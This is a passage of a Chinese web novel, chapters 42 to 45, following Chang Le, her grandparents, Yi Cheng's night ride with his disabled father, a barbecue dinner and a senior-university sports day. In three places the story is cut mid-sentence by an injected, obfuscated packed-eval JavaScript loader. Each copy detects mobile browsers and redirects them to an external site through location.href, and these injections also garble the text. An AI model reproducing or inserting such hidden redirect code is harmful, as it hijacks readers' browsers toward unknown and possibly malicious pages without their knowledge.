“先礼后兵嘛。”方凛笑了,“其实,上次你已经说服了他,但他又好面子,不肯轻易回学校。” 常乐感到费解:“为什么?” “因为他觉得,被你说了几句就乖乖回学校,很没面子呗。非得我假装发火,揍他一顿,他才肯回去。” 常乐:“……” 中二期少年的脑回路就是这么匪夷所思。 好在结局还算圆满。 未来的几年,希望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792339|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个迷途知返的少年,能坚持走完这段艰难的旅程。 易诚和方凛合力将易叔叔抬进了挎斗里,方凛还在他腰间系上了安全带。易叔叔左看右看,眼里闪烁着兴奋的光。 一切准备就绪后,方凛递给易诚一个头盔,然后长腿一跨,骑上了摩托车。 易诚坐在他身后,戴上头盔。 两人同时看向常乐,冲她挥挥手。 “骑慢点儿,注意安全。”常乐叮嘱道,“碰到减速带一定要慢慢过。” 想当年,她也蹲过边三轮的挎斗,那种颠到腾空的滋味至今还记忆犹新。 “放心吧。”方凛扬起手,向前一挥。 引擎轰鸣,边三轮驶入主干道,渐渐消失在夜色中。 常乐推着空荡荡的轮椅,转身准备回小区。 大排档里,男人激情四射地颠着勺,女人热情地招呼着客人,一个小胖墩端着一盘烤好的肉串儿,从常乐面前经过。 常乐咽了咽口水。 忍一忍,她答应了王哥,要回去帮他找狗的。 -- 半个小时后,常乐和王哥坐在大排档的小方桌旁。那条脏兮兮的比格被王哥夹在两腿中间,像蚯蚓一样扭来扭去。 王哥点了份扬州炒饭,饭一上桌,就狼吞虎咽地吃了起来。 常乐本来只点了烤串,见他吃得这么香,忍不住也给自己点了份香肠炒泡面。 “王哥,你还没摸清楚你家老狗的调性吗?它就喜欢往又脏又臭的地方钻。下次别趴地上找了,直接去垃圾回收站或者公厕里找。” 刚刚,常乐在小区里转悠了一圈,听到垃圾桶里有动静,连忙喊王哥过来,他却坚持认为里面是只老鼠。 常乐找了根树枝,往桶里戳来戳去,终于听到一阵标志性的驴叫:“呜儿呜儿呜儿……” 王哥把脸埋进饭里,“唔唔”两声,又说:“老鼠人设,随了我了。” 常乐忍不住想笑:“你这是饿了多久了啊?” “今天第一顿。” 王哥端起盘子,将剩下的炒饭往嘴里倒,甚至还舔起了盘子。 都说狗随主人,这主人也越来越像狗了。 常乐的炒面上桌了。她往王哥的盘子里扒了一半,自己吃剩下的。 “谢谢。”王哥迫不及待地吃了起来,“这顿我请了。” 常乐连忙摆手,“不用,我请。待会儿我还有两个朋友要来。” 过了一会儿,小胖墩给他们端来了新鲜出炉的烤串。 香喷喷的羊肉串,咬下时,能感受到焦香的外壳在齿间发出细微的碎响,汁水肆意流淌,香辣的滋味瞬间充满了口腔。 常乐左手举着肉串,右手拿着筷子,恨自己只有一张嘴,美味当前,根本忙不过来。 “唔,王哥,”她嘴里塞满了肉,边嚼边说,“我听易诚说,你上了个挺好的大学,毕业后也找了份不错的工作,为什么不继续干下去啊?” 王哥两只手都拿着串儿,一边咬一口,也是边嚼边说:“我得了病,治不好,没办法上班,所以就辞职了。” “啊?”常乐有些诧异。 原来是身体原因啊?那还挺值得同情的。 “什么病啊?” 王哥低下头,神色有些黯然,一缕黑发垂落在脸颊边。 “我有那种病,上不了班。” 常乐吓得往后一弹,差点从塑料凳上摔下去,手里的串也飞了出去。 “那种病?!”她大呼一声,赶紧抽出几张纸,擦擦嘴,又擦擦手,懊恼道:“你怎么不早说!” 王哥急忙辩解道:“不是你想的那种病!是那种……” “哪种啊?” 看他那讳莫如深的表情,常乐忽然反应过来:“哦,电线杆上贴的那种病,什么男人的难言之隐?” 隔壁桌一群男女齐刷刷看了过来,都在捂着嘴憋笑。 王哥左顾右盼,紧张地说:“你小点声!不是什么难言之隐,是……” 他叹了口气,压低声音说:“我这种病,学名叫肠易激综合征,分很多种情况。我的症状比较特殊,就是感到紧张、焦虑、压抑的时候,容易放屁、呕吐、腹泻。读书的时候还能控制住,但是工作之后,病情越来越严重,导致我一到公司就开始拉肚子,什么都干不了,领导天天骂我……没办法,我只能辞职了。” “哦……”常乐恍然大悟,捡起掉在桌上的羊肉串,同情地嚼了起来。 王哥恳求道:“你千万要保密啊。” 常乐不解地问:“为什么啊?这又不是什么传染病,别人知道了也不会歧视你啊。” 王哥把黑发捋到耳后,忧伤地说:“因为,大家知道我有这种病,只要闻到臭味,就会看向我。我成了万屁之源。” 常乐实在没忍住,捂着脸大笑起来,笑得桌子都在颤抖。 43. 43 夜色茫茫,街头空无一人。路灯一盏接一盏,绵延至黑夜的尽头。 边三轮平缓地行驶在马路上,发出低沉的轰响。易诚掀起头盔的面罩,感受夜风扑面的清爽。 挎斗里,易志刚坐得很稳,视线追随着街头的一草一木,迫切想寻找到记忆中的痕迹。 “啊啊!”他指着路边的大门,情绪很激动。 方凛缓缓停下车。 这是二中的校门,易诚的妈妈以前在二中教书,晚自习要到九点半才结束,易志刚经常骑着摩托车,前面坐着小小的易诚,在校门口等着接她回家。 有时等得久了,父子俩便会在旁边的小摊上买两份炸土豆片,边吃边等。 等她出来,他们总免不了挨一顿训:“又吃这种油炸食品!新闻里都说了,这都是地沟油!” 旁边的小贩急忙解释:“哪能啊?我用的都是好油,每天都换的。” 这时,易志刚只需毕恭毕敬地递上一份还未开动的炸土豆片,就能轻松地浇灭她的怒火。 易诚再递上筷子,乖巧地说:“妈,特意给你留的。” 校门内外一片漆黑,学生、家长、小摊贩都回家了,一家三口温馨的画面也融进了黑夜里。 “爸。”易诚轻拍易志刚的肩膀,“想吃炸土豆片吗?” 易志刚转头看向他,咧着嘴笑,“昂”了一声。 易诚也笑了:“明天给你买。” 方凛耐心地等父子俩聊完,问:“下一站去哪儿?” 易诚想了想,说:“你知道三中怎么走吗?” 方凛点点头,松开刹车,缓缓起步。 从二中到三中要穿过老街,几家大排档彻夜灯火通明。街角有几个小贩还在守着小吃摊,易诚来回张望一圈,没看到以前常吃的小摊。 “爸,你还记得这里不?”易诚对易志刚说,“我上初中的时候,每次下晚自习,都要买一根烤玉米吃。校门口人太多,我们就在约在这儿碰头。” 易志刚似乎记起来了,用力点点头。 方凛好奇地问:“烤玉米?你这宵夜吃得挺健康啊。” 易诚笑着解释:“不是像烤红薯那样烤,是先把糯玉米蒸熟,再放在烧烤架上烤。” 冬天的烤玉米最好吃,刷上一层油,将外皮烤得焦香,再均匀地撒上孜然、辣椒粉、白糖。一口下去,软糯的口感和鲜香的滋味交织在唇齿间,让人从里到外都暖和起来了。 方凛咽了咽口水,“说得我都馋了。” 下一站,去往慈湖公园。公园大门进不去,他们就沿着滨湖路缓缓行驶着。 易诚记得,道路两旁原本种的是香樟树,树木高大,郁郁葱葱,后来都换成了樱花树。去年,樱花盛放那几天,几乎全城的人都来这里拍照打卡。 易诚给易志刚看了几段视频,问他想不想去看看,他摇摇头,断断续续地说:“还是……以前的……好看……” 人老了就是这样,总觉得记忆中的景色更美。 路边的樱花树一棵接一棵,划过他们的视野。 “哎,停一下。”易诚突然拍拍方凛的肩。 方凛捏住手刹,“怎么了?” 易诚抬起手,指着头顶,“已经有樱花开了。” “这么早?”方凛有些诧异。 他顺着易诚手指的方向望去。昏黄的灯光下,樱花树的枝头零星地缀着几粒花苞,有朵花已经迫不及待地绽放了。 方凛惊喜地“哇”了一声,从兜里掏出手机,对着那朵在枝头独自绽放的花,拍了张照片。 他们恰好路过,而它恰好盛开。其中一个人,恰好抬起头。 所有的恰好,共同编织出了这一场浪漫的邂逅。 “爸,你看。”易诚示意易志刚抬头,“那朵花开了。” 易志刚缓缓抬起头,眯起眼,盯着灯光下摇曳的树枝。 他的瞳仁里,仿佛映着温暖的烛火。 后来,他们路过青少年宫,在门口朝里张望,各种游乐设施静静地蹲在黑夜里,像是睡着了。 易诚家里有张照片,就是在这里拍的。那年他五岁,易志刚跟他挤在一辆小黄鸭造型的儿童车里,父子俩对着镜头,笑得很开心。 镜头另一端,是妈妈含笑的眼眸。 再后来,边三轮一路驶向江边,江面寂静无声,无风也无浪。 月亮悬在天边,散发出幽幽的白光。 江滩上冒出了芦苇的新芽,才刚到小腿处。易诚跳下车,摘下一根嫩绿的芦苇,伸到易志刚的鼻子底下。 “爸,你闻。”他说,“是春天的味道。” -- 常乐盯着桌上最后两根羊肉串,陷入了纠结。 “要不给他们留一点儿?” “留什么留。”王哥一把抓起两根串儿,“等他们来了再点呗。” “有道理。”常乐眼疾手快地从他手里抢走一根串儿,把肉一口撸进嘴里,美滋滋地嚼了起来。 桌子底下,那只比格四脚朝天,睡得正酣。大耳朵铺在地上,像一对翅膀。 常乐低头端详着它的睡姿,感叹道:“你家老狗睡着的时候还挺可爱的嘛。” 王哥语速飞快:“你要吗?送你了。” 不等常乐拒绝,他又说:“我再给你三百。” 常乐哭笑不得:“不是……” “五百。” “我不是这个意思……” “你开个价。”王哥目光真挚地盯着她,“只要你能善待它,我做什么都愿意。” 常乐刚要开口,就听见身后传来一阵摩托声。她赶紧回过头,看见边三轮正好停在大排档门口。 “别想了,你自己好好养着吧。”常乐跟王哥交代了一句,起身推着轮椅走了出去。 易诚摘下头盔,捋了捋乱蓬蓬的头发,向方凛伸出手,“辛苦方大哥了。” 方凛咧嘴一笑,拍开他的手,说:“客气什么。” 两人合力将易志刚从挎斗里抬起来,安置在轮椅上。 易志刚眉眼低垂,神色稍显疲惫,但看得出来,他心情不错。 “我先把我爸送回去。”易诚握着轮椅的把手,对常乐和方凛说,“待会儿再过来跟你们汇合。” 常乐将方凛带到小方桌边,向他简单介绍了王哥,又喊来老板娘,加了几样小吃和烤串。 常乐给方凛倒可乐,问他:“玩得怎么样?” “很自在,很放松。”方凛一口气喝了半杯可乐,静默片刻,又说:“感觉易诚像个诗人。” 王哥慢悠悠地说:“在生老病死面前,人都会变成诗人。” 常乐正咂摸着这句话中的哲理,又听见方凛说:“其实我很羡慕他,能陪在他爸身边。我爸出事的时候,我还在部队,虽然第一时间请了假赶回去,还是没能见到他最后一面。” 常乐攥着塑料杯,看着方凛锋利的眉眼,心头涩意翻涌。 “你爸……是怎么走的?” “车祸。”方凛平静地说,“我弟在学校惹了事,班主任喊我爸过去。我爸一时心急,过斑马线时没留神,被一辆抢黄灯的出租车给撞了。” 所有的巧合凑到一起,酿成了这场悲剧。 常乐一时无言,王哥也低着头,微微叹了口气。 气氛陷入了沉默。 方凛喝完杯中的可乐,继续说:“没过多久,我就申请提前退伍了,我弟还小,家里不能没人。” 王哥抬起头,问:“你妈呢?” 方凛喉结滚动,声音微微颤抖:“很早之前就去世了。生我弟的时候,难产……” 常乐的心情更沉重了。她早就听说这对兄弟父母双亡,但从来没有认真想过,这轻飘飘的四个字,背后是接二连三的悲剧。 王哥想到的却是另一件事:“那你应该很恨你弟吧?你父母的去世,都是他间接造成的……不是我心理阴暗啊,小说里都是这么写的。” 方凛苦笑:“小说是小说。在现实世界里,我们是彼此唯一的家人。” 王哥还是想不通:“可是,你的不幸,都跟他有关……如果我是你,多少会有点怨恨吧。” 方凛摇摇头,“要说不幸,他比我更不幸,他一出生就失去了母亲,十几岁又失去了父亲,他肯定也很自责。我从不恨他。” 老板娘过来了,给他们端上来一盘水煮花生、一盘烤茄子,两碟卤味,还有一大把烤串。 “哎,不聊这些伤心事了。”王哥向前倾身,给方凛倒满可乐,“来来来,吃好喝好。” 方凛笑了笑,“我只是有感而发。看到易诚和他父亲,忍不住想起了自己的父母。”他举起杯子,“来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797659|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我敬你们。希望你们好好珍惜家人,多陪陪他们,不要像我一样……” 他的声音沙哑,眼眶微微泛红。 常乐赶紧举起杯子,跟他碰了一下,郑重道:“我会好好珍惜的。” “我……”王哥的杯子举起又放下,嘴角牵起一抹苦笑,“我就算了吧。我爸见我就烦,恨不得把我扫地出门。” “谁说的?” 身后传来易诚的声音。 常乐循声望去,看见易诚就站在王哥身后,额发微微濡湿,耳鬓淌着汗,眼底漾着笑意。 “这么快?”常乐急忙招呼他,“快坐快坐。易叔叔睡了吗?” 易诚在她对面坐下,点点头,“睡了,有护工陪着他,不用担心。” 他扫了一眼桌上的食物,问:“我能再加一样吗?” “你想吃什么?” “加四个烤玉米吧。” “行。”常乐招招手,喊来了老板娘。 易诚拿起一根烤串,边吃边说:“鼠哥,你这话就说得不对了,你爸其实挺关心你的。” 王哥轻笑一声:“你又不认识他。” “我认识。”易诚放下竹签,不紧不慢地说,“去年,你爸来我家找我,说想咨询一下开培训班的事,比如营业执照怎么办、要不要单独租办公室、教师资质证明怎么弄之类的。他说,他有个儿子,从小就会写作文,大学读的是汉语言文学,因为身体原因不能去上班,现在整天待在家里,昼夜颠倒,人不人鬼不鬼的。他想给儿子开个作文培训班,赚不赚钱无所谓,主要是让他有事干,不要颓废下去。”易诚冲王哥挑了挑眉,“我一猜就知道是你。” 王哥脸涨得通红,也不知是羞还是恼,嘟囔道:“我爸这人真是的,一天天的,就爱瞎操心。” 常乐好奇地问:“那后来呢?培训班开起来了吗?” “没有。”王哥没好气地说,“他跟我提过这事,我说我不喜欢跟小孩打交道,这事儿就没有后续了。” 方凛忍不住问:“那你现在在干嘛呢?” “一定要干点什么吗?”王哥怒气冲冲地反问他,“我就不能吃饭睡觉玩手机吗?” 桌上安静下来,一时间,没人敢接话。 王哥也意识到自己语气有些冲。他咽了咽唾沫,声音弱了几分:“对不起啊,我……在家写小说呢,每天要码两、三万字,千字八元,一个月也能赚不少钱,够养活自己了。” “哇,厉害啊!”常乐眼睛一亮,立马掏出手机,“请问王大作家,在哪儿能搜到你的大作啊?” “你搜不到。”王哥端起可乐,慢悠悠地喝了一口,“跟我合作的是个工作室。我负责提供原稿,他们负责把两三万字进行提炼、整合,然后把角色、地名全都换成别的名字。我自己都搜不到,更不用说你了。” 常乐皱着眉,想不明白:“为什么要这样啊?” 易诚轻轻地“啊”了一声,“我懂了,你是个枪手,没有署名权。” 王哥点点头,捻起一枚水煮花生,扔进嘴里。 “可是……”常乐喃喃道,“这样好吗?看着自己辛辛苦苦写出来的东西,变成了别人的作品,你不气愤吗?” “这有什么?”王哥满不在乎地说,“反正我写得很水,几万字才一个剧情,工作室也习惯了。我拿钱办事,不用署名,就不用担责。” 常乐张了张嘴,还想说什么,被他不耐烦地打断了:“哎哟,别聊我的事了。我就是废人一个,有什么可聊的?快吃快吃,羊肉串都冷了。” 就在这时,老板娘拿来四串玉米粒,放在他们的盘子里。 易诚呆住了,不敢置信地问:“这是……烤玉米啊?” “是啊,不是你们点的吗?”老板娘语气肯定。 易诚哑然失笑。这四串苗条的玉米粒,还不够他塞牙缝的。 他叹了口气,将玉米粒分发出去,一人一串。 常乐一口撸完,擦擦嘴,意犹未尽道:“有种在烧烤摊上吃减脂餐的违和感。” 这是甜玉米,脆甜的汁水和香辣的味道有些不搭,口感也不如糯玉米有嚼劲。 易诚吃完后,莫名有些惆怅。 回忆总是带着一层滤镜。不知从何时起,他也开始怀念起过去的风景,过去的食物,过去的家人,以及,过去的自己。 44. 44 私事解决得差不多了,常乐的假期也告罄了,她又过上了朝六晚十二的不健康生活。 朝六,是因为送林文娟上学前,她得先陪姥姥去买菜、买早饭,还得苦口婆心地劝她,不要被路边如雨后春笋般冒出来的各种理疗店诱惑。 自从姥姥薅羊毛上瘾后,冰箱里就堆满了免费的鸡蛋,厨房里也经常多出一些杂牌小家电、食用油、大米等“战利品”。 姥姥拍着胸脯向常乐保证,她会保持理智、见好就收,绝对不会让人家从她兜里骗走一分钱。 唯一值得欣慰的是,小区门口的旅行社不再向姥姥推销任何旅游产品了。估计是上次她的表现太差,被归为劣质客户,不值得维护。 等常乐安全护送姥姥到家,就得马不停蹄地赶去伺候下一个老板——林文娟。 收假第一天,常乐开车宛如复健。 林文娟再次迟到。 “业精于勤荒于嬉。你看看你,这段时间没开车,水平直线下降,驾校学的东西都还回去了!”林文娟怨气满满,“赶紧抓紧时间练练车。再迟到一次,这个月的绩效就别想要了。” 常乐有错在先,只能忍气吞声:“知道了。” 林文娟推开车门,又转过头,建议道:“你干脆去注册个网约车,在路上多练练,顺便赚点零花钱。” 常乐断然拒绝:“那怎么行?” “嘿!”林文眉毛一挑,“你还嫌弃上了?职业不分三六九等,网上都说了,大学生要脱下长衫……” “我不是嫌弃。”常乐拍了拍方向盘,示意她看车标,“妈,你是不是忘了?咱这是油车,开网约车得亏死。” “哦……也对。”林文娟下了车,隔着车窗交代道,“中午来接我。” 常乐毕恭毕敬:“嗻。” -- 至于晚十二,是因为常乐要处理的事实在太多了。 吃过晚饭后,她得洗碗,然后玩会儿手机,再去遛狗,边遛边玩手机,回家后还得拖地,拖累了再躺沙发上玩会儿手机,磨磨蹭蹭地去洗澡…… 最后,才正式进入工作——帮姥爷维护账号。 她开了一堆小号当水军、怼黑粉、删恶评、筛选商务——其实也没什么可筛选的,这段时间,姥爷就收到了三个广告邀约。 第一个是卖老年人保健品的,果断pass。 第二个是卖脱毛仪的,价格开得很高,但对方不肯先付定金。常乐在网上一搜,发现这个商家口碑奇差,每次都找借口拖延或者拒绝付款,于是果断将其拉黑。 再一想,让姥爷给脱毛仪打广告,这合适吗?他浑身上下就没剩几根毛了。 第三个是卖中老年男士的Polo衫的,商家开价两百,谈好后就把定金打过来了,还寄来了一捆Polo衫。 商家着重强调,他们家的衣服最大的卖点是弹性超超超级大,从一百斤到五百斤都能穿。 常乐:五百斤?你不如去找头大象当模特。 不过,钱已经收了,就得尽心尽力。 常乐绞尽脑汁,想了一晚上,终于设计出三套精彩绝伦的方案。 方案一:姥爷穿着一件蓝黑条纹的Polo衫,从副驾下车,关门,衣角不小心被车门夹住,车都开出去两三米远了,他还没察觉。 方案二:姥姥在阳台晾衣服,随着自动晾衣架缓缓上升,姥爷的Polo衫也升了上去,衣服里还挂着姥爷。他一弹一弹地荡起了秋千。 画风极其诡异,但莫名好笑。 “咳咳!”视频拍完,姥爷从Polo衫里挣脱出来,揉了揉自己的脖子,“勒死我了。这是在晾衣服还是在上吊啊?” 方案三,是由姥爷和他的象棋搭子刘老头共同完成的。两人背靠着背,共穿一件Polo衫,分别向两头走去。 直到Polo衫被拉出了两米宽,常乐才满意地喊“咔”。 “哎哟冷死我了。”刘老头一边嘟哝一边脱下Polo衫,一层一层地穿上自己的衣服。 “网红不好当啊。”姥爷看似抱怨,实则炫耀,“冬天穿短袖,夏天穿棉袄。为了拍一条视频,得花费多少时间,耗费多少精力。” 常乐斜乜他一眼。 拍视频算什么,剪视频才费时费力呢。 她得先把视频素材粗剪一遍,再一秒一秒地精减、拼接、合成,然后加上音效、特效、字幕,最后调色,导出视频成片。 最后成片不到三十秒,她足足熬了三个大夜。 结果,姥姥还在餐桌上控诉她,说她连续几天不睡觉,整晚趴在电脑前,眼睛都要瞎了。 常建民震怒:“不是说好了不能熬夜吗?违反员工行为守则是要扣钱的!” 常乐大呼冤枉:“我是在帮姥爷剪视频啊!他老眼昏花的,干不了这活儿,只能由我加班加点地干!你还扣我的钱?我没要你付加班费就不错了!” 林文娟蹙起眉,表示怀疑:“剪视频又不难,还需要加班吗?肯定是你效率太低了。” 常乐:“……” 如何用一句话激怒全国的牛马剪辑师,林老板,你做到了。 见常乐不吭声,林文娟再次提出质疑:“你是不是不会用工具啊?我跟你说,好的工具能事半功倍。” 常乐:“……啥工具?” 剪刀吗? 林文娟掏出手机,给她看手机上一个软件,说:“我这学期不是选了《视频的拍摄与剪辑》这门课嘛,老师教我们下载这个APP,把拍好的视频传上去,一键生成就行了。我们一节课就学会了。” 怕她听不懂,林文娟还亲自演示了一遍:“你看,我随便拍一段视频,上传,选个模版……视频出来了!厉害吧?” 常乐回忆起报名那天,在走廊宣传板上看到的老头,好像就是这门课的老师。 她愣愣地说:“你们老师……就教了这个啊?” 她不想干剪辑了。 她想去老年大学应聘。老师教得轻松,学生学得也有成就感。这世上没有比这更完美的工作了。 -- 视频发给商家后,常乐顺利地收到了尾款,并从姥爷那里分到了一百块的佣金。 而姥爷收获的不仅仅是钱,还有逐日递增的播放量,和一捆弹力超大的Polo衫。 他把衣服分给了几个关系好的老头,还特意给易诚留了两件,让他来家里试穿。 “这个颜色好,有活力。”等易诚换上后,姥爷上下打量着他,连连点头,“适合你们年轻人。” 他又拿起一件大红色的Polo衫,塞进易诚怀里,“这件显气色,给你爸。” 常乐坐在沙发上,一边嗑瓜子,一边打量着易诚。 有句话是怎么说来着?时尚的完成度,得靠脸。 但是,土成这样的衣服,就算是金城武来了也没辙。 易诚穿着这件黄黑条纹的翻领Polo衫,活像一只大马蜂。 他扯了扯衣角,又整了整衣领,腼腆地看着常乐,“你看行吗?” 常乐憋着笑,一本正经道:“不错,可以穿到八十岁。” 姥爷补充一句:“而且弹性大,以后发福了都不怕。” 常乐终于忍不住了,倒在沙发上笑得前合后仰。 -- 在连续接送林文娟一周后,常乐终于找回了开车的感觉,一路驾轻就熟,得心应手。 周五这天,林文娟给她派了个新任务——陪自己参加老年大学的亲子运动会。 常乐一脸震惊:“运动会?” 这是你们老年人该玩的东西吗? “都有哪些项目啊?” “打陀螺、踢毽子、下象棋、乒乓球、门球……” 常乐挠挠头,“这些我都不会啊,你应该找姥爷去,他至少会下象棋。” 林文娟补充道:“还有一些趣味项目,比如套圈、打气球、夹弹珠、运乒乓球之类的,我觉得你应该行。” 听上去挺有意思的。常乐考虑片刻,同意了。 根据她上次开家长会的经验,这类亲子活动,来的大多是学生的老伴儿或者朋友。跟一群眼花手抖的老年人比拼身体素质,她岂不是赢得轻轻松松? 运动会这天,常乐跟在林文娟身后,到老年大学的活动中心报名。 登记处坐着两位老师,一位是个卷毛的中年女人,圆脸搭配圆眼镜,像个卡通人物,林文娟亲切地喊她“叶主任”。 另一个是钟煜,他负责登记,并发放运动会的宣传册。 林文娟把常乐拉到自己身边,介绍道:“叶主任,这是我姑娘,叫常乐。” 钟煜瞥她一眼,嘴角微微弯起,在登记表上写上她的名字。 “哎!”叶主任拉着常乐的手,笑眯眯地说,“姑娘长得真漂亮啊,跟你一样,眼睛大,皮肤白,一看就有福气。” 她又问:“多大啦?” 常乐老实回答:“二十五。” 叶主任又问:“干什么工作的?” 常乐愣了一下,“这也要登记吗?” “是啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807711|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你看。”叶主任把登记表推到她面前,“家属的姓名、年龄、职业、联系方式、参赛项目,这几项是必填的。” 登记表上已经记录了十几位家属的信息,常乐飞快地扫了一眼,有某某区某某局的副局长,某某中学的年级组长,某某医院某某科的主任医师…… 怎么全是正经工作啊?一个打零工的都没有。 常乐有些心虚,瞟了林文娟一眼。 说自己是无业游民吧,有点给她妈丢人。 说是全职女儿吧,她还得给叶主任解释半天,越解释越显得欲盖弥彰。 只能随便编一个了。 “我是那个……”常乐挺直腰背,故作高深,“常胜……文化有限公司的,呃……主理人。” 叶主任果然听不懂:“主理人?是干什么的?” 常乐淡淡一笑,解释道:“就是操盘手。” 这段时间手机没白玩,她掌握了一堆生僻词汇,一个比一个能装。 叶主任更懵了,转过头询问钟煜:“啥是操盘手啊?” “操盘?方向盘吗?”钟煜挠着下巴,苦苦思索,忽然灵光一现,“我懂了,开车的!” 他低下头,在登记表上刷刷写下:“司机。” 常乐:“……” 凭什么人家的头衔这么长,她的就俩字?瞧不起司机是吧? -- 亲子运动会比预期的要好玩。虽然常乐输得一败涂地,但赢得了其它参赛选手的赞扬。因为他们一致认为,常乐肯定是故意输给他们的。 这么谦虚且懂礼貌的年轻人,现在真不多见了。 “你套圈是一个没套中啊。”林文娟连连摇头,扶额叹气。 她最想要的礼物在最后一排,是个手持按摩仪,结果被一个坐在轮椅上的老大爷套走了。 常乐也很苦恼:“我手抖。” 林文娟恨铁不成钢:“射气球居然还输给了老杨?他去年才做的青光眼手术呢!” 常乐心虚地挠挠头,“……这说明手术效果很好啊,为他感到高兴。” “那你夹弹珠怎么也——” “妈!”常乐忍不住打断她,“咱们是来玩的,不要这么在意输赢嘛。玩得高兴就好了。” 林文娟双手掐腰,气呼呼地说:“输得那么惨,我怎么高兴得起来?” 常乐一时无语。 这种事就没必要卷了吧?卷赢了又能怎么样?能获得奥运会参赛资格吗? “这样吧。”林文娟做了个深呼吸,“咱们再报一项,门球,怎么样?” 常乐愁眉苦脸地说:“我都不知道这是什么玩意儿。” “很简单的,你跟我来。” 林文娟拽着常乐的胳膊,把她带到运动场的东南角,那里有一片长方形的人造草坪,有几个人正在球场边等候。 钟煜也在球场边,拿着写字板在记录着什么。 林文娟解释道:“每队五个人,老周一直想拉我入伙,她们队有两个老太太心理素质不好,一比赛就手抖,咱们正好可以换上去。” 常乐嘟囔道:“这样不好吧……” “有什么不好的?一切都是为了胜利!”林文娟把她拉到草坪上,从旁边的架子上拿起一根球杆,给她演示:“用杆子把球打进球门就行。” “不是……”常乐一边走一边四处张望,怀疑自己也得了青光眼,“门在哪儿啊?” 话音刚落,右脚忽然被什么东西绊住,她猝不及防地向前一扑,重重地摔倒在草坪上,鞋都飞了出去。 什么玩意儿啊? 常乐回头一看:地上怎么会有个方形铁框? 林文娟走过来,蹲在她面前,面无表情地说:“这就是门。” 常乐心有余悸,忍不住吐槽:“这是什么门啊?邪门吧?藏得那么隐蔽,谁看得到啊?” 周围响起一阵哄笑。 常乐循声望去,围观人群中,就属钟煜笑得最开心。 她赶紧从地上爬起来,一只脚蹦跶着,去捡那只远走高飞的鞋。 这场比赛,她手抖得比那俩老太太还厉害,结局不出意料地惨败。 林文娟一脸无语地看着她。 常乐耸耸肩,淡定地说:“妈,收手吧。在不擅长的事情上,越努力,越心酸。” 最后,常乐也不是一无所获。叶主任给她颁发了一个“体育道德风尚奖”,高度赞扬了她“牺牲小我,成就大家”的体育精神,给其它参赛选手增添了自信,也给现场观众带来了欢乐。 45. 45 林文娟这学期只报了两所大学的八门课,照理来说,常乐的接送工作应该比之前轻松许多,但林文娟实在是太好学了,又自费报了个课外补习班,一周上两节课,每节课一个小时。 常乐送她过去后,不想来回折腾,索性坐在店里等她下课。 旁边坐了一排家长,个个怀里抱着书包,低头玩着手机,百无聊赖地打着哈欠。 一个戴眼镜、气质斯文的女人看手机看累了,抬起头张望一圈,然后跟坐在旁边的常乐搭讪:“你也是来接孩子的啊?” “呃……”常乐不知该怎么解释,只得含糊地“嗯”了一声。 女人端详着她,似乎对她很感兴趣:“我看你挺年轻的啊,你家孩子应该不大吧?这么小就送来学琴吗?学的什么啊?” 常乐支支吾吾,假装没听见前面的问题,只挑最后一个回答:“……二胡。” “你也找的钟老师吗?”女人直起身子,语气很兴奋,喋喋不休道,“也是上的提高班?你家孩子考级了吗?你们考级选的哪首曲子?对了,咱俩加个微信吧,有什么消息可以相互分享。” 她自顾自地说着,就要举起手机扫常乐的微信。 常乐腾地一下站起身,把女人吓了一大跳。 “不好意思啊,我突然想起来……”常乐东张西望,迫切地想找到逃走的借口。 恰在此时,前台小妹提着一袋外卖走了进来,常乐指着她,说:“我有点事要咨询她一下,先不聊了。” 说完赶紧小跑过去,冲到前台。 小妹放下外卖,问她:“您有什么事吗?” “那个,我想问一下……”常乐没话找话,“钟老师几点下课啊?” 小妹瞥了眼墙上的挂钟,“快了,有时候会拖一下堂。你别着急嘛,那边有空座,你可以坐着等。” 常乐站着没动,绞尽脑汁地想聊天的话题。 “还有什么事吗?”小妹奇怪地看着她。 “我就是想问一下,”常乐趴在前台,身子向前倾,一脸八卦的表情,“钟老师相亲了那么多次,成功了吗?” 小妹会心一笑。她不疾不徐地拆开外卖袋,拿起一杯奶茶,戳进吸管。 “应该没有,反正他现在还单着呢。”她吸了一口奶茶,调侃道,“怎么,你也想体验一下吗?只要报名我们的名师一对一指导班,可以免费获得一次相亲机会哦。” 常乐“噫”了一声,又嫌弃又感慨:“钟老师这么拼啊?为了卖课,不惜出卖色相,啧啧啧。” “说谁呢?” 身后传来一道清越的男声。 常乐一回头,就看到钟煜那张轮廓流畅的脸,笔挺的鼻梁,和微微弯起的眼眸。 他眸中带着几分笑意,佯装生气道:“什么叫出卖色相?这可是宠粉福利,一般人花钱都买不到呢。” 